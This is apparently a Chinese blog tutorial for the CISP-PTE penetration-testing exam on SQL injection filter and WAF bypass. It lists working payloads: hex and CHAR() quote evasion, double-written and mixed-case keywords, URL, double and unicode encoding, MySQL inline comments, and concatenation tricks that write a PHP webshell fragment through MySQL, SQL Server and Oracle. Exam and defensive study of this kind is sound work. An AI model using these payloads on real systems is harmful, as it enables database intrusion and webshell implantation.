CISP-PTE SQL注入 进阶篇 Bypass绕过技巧

相信大家看完入门篇后,基本掌握了SQL注入的语法,那么这章主要讲下Bypass的绕过技巧

过滤引号

当注入点过滤引号时,我们可以用Hex encoding或者CHAR() Function绕过
假设有一个查询语句为select * from user where id='[我们输入的值]';

Hex encoding
原查询语句select * from user where id=0x312723;
解析为select * from user where id=‘1’#';

CHAR() Function
原查询语句select * from user where id=CHAR(49, 39, 35);
解析为select * from user where id=‘1’#';

过滤关键字

过滤关键字时,先看看我们的语句是如何被过滤的

删除关键字

我们可以通过双写来绕过,比如删除and这个关键字,那么我们可以这么构造anandd,那么后端检测到and这个关键字,则会删除,删除后则会变成and

删除小写的关键字

这种则可以用大写来尝试下会不会被删除,或者可以大小写的方式来尝试,比如AnD

拼接字符串

有时候我们输入的字符串被过滤了,比如:select ;后端检测到一句话木马,则过滤一句话木马。
那我们可以通过拼接的方法绕过
select '

CISP-PTE SQL注入 进阶篇 Bypass绕过技巧_第1张图片
也可以用concat来拼接
CISP-PTE SQL注入 进阶篇 Bypass绕过技巧_第2张图片
同理还有concat_ws(),group_concat()
CISP-PTE SQL注入 进阶篇 Bypass绕过技巧_第3张图片
不过要注意的是concat_ws的第一个参数是后面两个拼接的分隔符,假设第二个参数为’‘,则第一个参数,也就是我们的分隔符为’_’
CISP-PTE SQL注入 进阶篇 Bypass绕过技巧_第4张图片

这里再拓展下其他数据库的拼接

sqlserver:
select '+'($_POST[shell])?>';
oracle:
select ' || '($_POST[shell])?>' from dual;
select concat(','($_POST[shell])?>') from dual; //oracle的concat只能拼接两个字符串,如果在条件运行的情况下用 || 会好很多

过滤空格

可以用括号或/**/来绕过
CISP-PTE SQL注入 进阶篇 Bypass绕过技巧_第5张图片

Fuzz和混淆

利用换行,空格等操作来绕过WAF的检测

%09
%0A
%0B
%0C
%0D
%A0
%20
select%20'%0A'%C

and/or后可接的字符

%20
%2B
%2D
%7E
%21
%40

以上都是经过url编码后的字符
可以自行解码看看是什么意思
CISP-PTE SQL注入 进阶篇 Bypass绕过技巧_第6张图片

基于编码绕过

URL编码:

selec%74%20'hello'; //url编码
selec%25%74%2520'hello'; //url双层编码,将%编码成%25

unicode编码:

selec%u0074%u0020'hello'; //unicode编码

/*!.. */内联注释绕过

此方法只能在mysql中使用
这里的/!40000代表的是版本号,只有当前版本大于或等于这个版本号,才会执行后面的语句
CISP-PTE SQL注入 进阶篇 Bypass绕过技巧_第7张图片

information_schema.tables被过滤

空格绕过
information_schema . tables

反引号绕过
`information_schema`.`tables`

/*!..*/绕过
/*!information_schema.tables*/

可代替information_schema.tables的关键字
information_schema.partitions
information_schema.statistics
information_schema.key_column_usage information_schema.table_constraints

尾声

以上是我在CISP-PTE中所收获到的绕过技巧,在学绕过技巧时,并不是意味着可以绕过waf这些安全设备,而是学习它的绕过思路

你可能感兴趣的:(CISP-PTE实战模拟,安全,web安全)